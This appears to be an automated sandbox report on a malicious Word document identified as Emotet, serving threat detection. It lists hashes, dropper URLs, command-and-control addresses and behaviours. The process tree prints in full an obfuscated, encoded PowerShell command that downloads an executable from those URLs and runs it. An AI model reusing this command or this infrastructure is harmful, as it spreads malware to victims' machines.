Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    16-09-2020 12:43

General

  • Target

    JVDT20_09.doc

  • Size

    161KB

  • MD5

    c8db50682c9c51a0a5b220aca08a8b5f

  • SHA1

    f0e2afb8a556bb000e169e24e84c3af9942429fe

  • SHA256

    127c406b36e40a2277c416de6a955130dba4cb23be857da9a3987fb98a170d32

  • SHA512

    cece058757e669d26a73ad58d9c4f5c02ae7118cf9c5fc78e3b92a4bc8b268c500867e7b3f131432f07c422fc26976d17ea8d4f98bd4a783cfe19e88e97fa3ee

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://templatejson.com/awrrn/Kw10uo/

exe.dropper

https://hosting.mybestheme.com/aikjj0q/8/

exe.dropper

https://tastes2plate.com/wp-content/uploads/6/

exe.dropper

http://madeirawildlife.com/wp-admin/zuWZW/

exe.dropper

http://senyumdesa.org/wp-admin/aC4/

exe.dropper

https://ibuyoldwebsites.com/modules/QVtEr7/

exe.dropper

http://blog.zunapro.com/wp-admin/js/widgets/EH4agl/

Extracted

Family

emotet

C2

74.219.172.26:80

134.209.36.254:8080

104.156.59.7:8080

120.138.30.150:8080

194.187.133.160:443

104.236.246.93:8080

74.208.45.104:8080

78.187.156.31:80

187.161.206.24:80

94.23.216.33:80

172.91.208.86:80

91.211.88.52:7080

50.91.114.38:80

200.123.150.89:443

121.124.124.40:7080

62.75.141.82:80

5.196.74.210:8080

24.137.76.62:80

85.105.205.77:8080

139.130.242.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 7 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\JVDT20_09.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2984
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABJAHEAYQBqAG0AcAB5AD0AKAAoACcAVgAnACsAJwBiAHkAdgAnACkAKwAnAHgAJwArACcAagB6ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBQAHIAbwBmAEkATABlAFwAZABJAGEAUgA4AGgANwBcAG8AZgBmADEARgBFAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQB0AFkAYABwAFIATwBgAFQAbwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAsACAAdABsAHMAMQAnACsAJwAxACcAKwAnACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEsAdwBwAHYANwBhAHoAIAA9ACAAKAAnAEoAJwArACcAXwBlACcAKwAoACcAaQBsACcAKwAnAGIAJwApACkAOwAkAEEAdAB4ADMAcQBlAGYAPQAoACcASAA5ACcAKwAnAGgAagAnACsAKAAnAHEAJwArACcAYQBxACcAKQApADsAJABGAHAAegBtAHYAagA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHEAJwArACgAJwBJACcAKwAnAEwARABpAGEAJwApACsAJwByADgAJwArACgAJwBoADcAJwArACcAcQAnACkAKwAoACcASQBMAE8AZgAnACsAJwBmACcAKwAnADEAZgBlACcAKwAnAHkAcQBJAEwAJwApACkALgAiAHIAYABFAFAAYABMAEEAYwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMQAzACsAWwBDAGgAQQByAF0ANwAzACsAWwBDAGgAQQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEsAdwBwAHYANwBhAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABTAHUAcAB4ADYAdQBrAD0AKAAoACcASABxACcAKwAnADgAbgBnACcAKwAnAF8AJwApACsAJwBwACcAKQA7ACQATgA1ADgAaQB5AGEAMgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAEwASQBFAE4AdAA7ACQAVgB6ADAAYgBnAGMANgA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AdABlACcAKQArACgAJwBtAHAAbABhAHQAJwArACcAZQAnACsAJwBqACcAKwAnAHMAbwBuAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYQB3AHIAcgAnACsAJwBuAC8ASwB3ADEAJwArACcAMAB1ACcAKwAnAG8AJwArACcALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwAHMAOgAnACsAJwAvAC8AaAAnACkAKwAoACcAbwAnACsAJwBzAHQAaQBuAGcAJwApACsAKAAnAC4AbQB5ACcAKwAnAGIAJwApACsAJwBlACcAKwAnAHMAJwArACcAdAAnACsAKAAnAGgAJwArACcAZQBtACcAKQArACgAJwBlAC4AYwBvAG0AJwArACcALwBhAGkAJwArACcAawBqAGoAJwApACsAKAAnADAAJwArACcAcQAvADgALwAnACkAKwAnACoAJwArACcAaAB0ACcAKwAoACcAdABwAHMAOgAnACsAJwAvACcAKQArACcALwB0ACcAKwAoACcAYQBzAHQAZQAnACsAJwBzACcAKQArACgAJwAyAHAAJwArACcAbABhAHQAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAHcAcAAtAGMAJwApACsAKAAnAG8AJwArACcAbgB0AGUAJwApACsAJwBuAHQAJwArACgAJwAvAHUAJwArACcAcAAnACkAKwAoACcAbABvACcAKwAnAGEAJwApACsAKAAnAGQAJwArACcAcwAvADYAJwArACcALwAqAGgAdAB0ACcAKQArACcAcAA6ACcAKwAnAC8ALwAnACsAJwBtACcAKwAoACcAYQBkACcAKwAnAGUAJwApACsAKAAnAGkAcgAnACsAJwBhACcAKQArACcAdwAnACsAKAAnAGkAJwArACcAbABkAGwAJwApACsAJwBpACcAKwAnAGYAJwArACcAZQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZABtAGkAJwArACcAbgAvAHoAdQAnACkAKwAoACcAVwAnACsAJwBaAFcALwAnACkAKwAnACoAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AcwAnACsAKAAnAGUAbgAnACsAJwB5ACcAKQArACcAdQAnACsAJwBtACcAKwAoACcAZABlAHMAYQAnACsAJwAuACcAKwAnAG8AJwApACsAJwByACcAKwAoACcAZwAvAHcAcAAnACsAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwAnACkAKwAoACcAYQAnACsAJwBDADQALwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwAHMAJwApACsAJwA6AC8AJwArACgAJwAvAGkAYgB1ACcAKwAnAHkAbwAnACkAKwAoACcAbABkACcAKwAnAHcAZQAnACkAKwAoACcAYgBzAGkAJwArACcAdABlAHMAJwApACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwBtAG8AZAAnACsAJwB1AGwAJwApACsAKAAnAGUAcwAvACcAKwAnAFEAJwApACsAKAAnAFYAJwArACcAdABFACcAKQArACcAcgAnACsAKAAnADcALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAKAAnAG8AZwAnACsAJwAuAHoAdQAnACsAJwBuAGEAcAByAG8ALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3AHAAJwApACsAJwAtACcAKwAnAGEAZAAnACsAKAAnAG0AJwArACcAaQBuAC8AJwApACsAJwBqAHMAJwArACgAJwAvACcAKwAnAHcAaQBkACcAKQArACgAJwBnAGUAJwArACcAdABzAC8ARQBIACcAKQArACgAJwA0AGEAJwArACcAZwBsACcAKQArACcALwAnACkALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAA2AF8AMQAxAHgAaAA9ACgAKAAnAFMAagBuAHgAcQAnACsAJwBfACcAKQArACcAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAGMAZABqAHEAbAB0ACAAaQBuACAAJABWAHoAMABiAGcAYwA2ACkAewB0AHIAeQB7ACQATgA1ADgAaQB5AGEAMgAuACIAZABvAGAAdwBOAEwAYABvAEEARABGAGAASQBMAEUAIgAoACQASABjAGQAagBxAGwAdAAsACAAJABGAHAAegBtAHYAagA2ACkAOwAkAFgAaQBvAHoANwBwADEAPQAoACcARwAnACsAJwBoACcAKwAoACcAcQBhAGgAJwArACcAMwB3ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEYAcAB6AG0AdgBqADYAKQAuACIAbABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADUANwA0ADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUALQBJACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQARgBwAHoAbQB2AGoANgApADsAJABIAF8AdgBhADIAYgBjAD0AKAAoACcAWgAnACsAJwA5AHcAJwApACsAKAAnAGcAeQAnACsAJwBfAGwAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAcgAwAHYAMgBhADYAPQAoACgAJwBOACcAKwAnAHIAcwAnACkAKwAoACcAZwAnACsAJwBoAGoAOQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBlAGUAXwB6AGgAZwA9ACgAJwBJACcAKwAoACcAbQA5ACcAKwAnAHMAJwApACsAKAAnAGUAawAnACsAJwB2ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Users\Admin\Diar8h7\Off1fey\J_eilb.exe
      "C:\Users\Admin\Diar8h7\Off1fey\J_eilb.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4012
      • C:\Windows\SysWOW64\rasctrs\SensorsApi.exe
        "C:\Windows\SysWOW64\rasctrs\SensorsApi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3804

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\Diar8h7\Off1fey\J_eilb.exe

  • C:\Users\Admin\dIaR8h7\off1FEY\J_eilb.exe

  • C:\Windows\SysWOW64\rasctrs\SensorsApi.exe

  • memory/2956-9-0x00007FFCF8EE0000-0x00007FFCF98CC000-memory.dmp

    Filesize

    9.9MB

  • memory/2956-11-0x0000019ED67A0000-0x0000019ED67A1000-memory.dmp

    Filesize

    4KB

  • memory/2956-10-0x0000019ED65F0000-0x0000019ED65F1000-memory.dmp

    Filesize

    4KB

  • memory/2984-5-0x000001C13802A000-0x000001C13802F000-memory.dmp

    Filesize

    20KB

  • memory/2984-3-0x000001C137E00000-0x000001C137E05000-memory.dmp

    Filesize

    20KB

  • memory/2984-8-0x000001C13802A000-0x000001C13802F000-memory.dmp

    Filesize

    20KB

  • memory/2984-6-0x000001C13802F000-0x000001C138034000-memory.dmp

    Filesize

    20KB

  • memory/2984-0-0x00007FFD00450000-0x00007FFD00B16000-memory.dmp

    Filesize

    6.8MB

  • memory/2984-4-0x000001C137DFB000-0x000001C137E00000-memory.dmp

    Filesize

    20KB

  • memory/2984-1-0x000001C137E00000-0x000001C137E05000-memory.dmp

    Filesize

    20KB

  • memory/2984-7-0x000001C13802F000-0x000001C138034000-memory.dmp

    Filesize

    20KB

  • memory/2984-2-0x000001C137E00000-0x000001C137E05000-memory.dmp

    Filesize

    20KB

  • memory/3804-17-0x0000000000000000-mapping.dmp

  • memory/3804-19-0x0000000000680000-0x0000000000692000-memory.dmp

    Filesize

    72KB

  • memory/3804-20-0x0000000000920000-0x0000000000930000-memory.dmp

    Filesize

    64KB

  • memory/4012-15-0x0000000000A50000-0x0000000000A62000-memory.dmp

    Filesize

    72KB

  • memory/4012-16-0x0000000000A70000-0x0000000000A80000-memory.dmp

    Filesize

    64KB

  • memory/4012-12-0x0000000000000000-mapping.dmp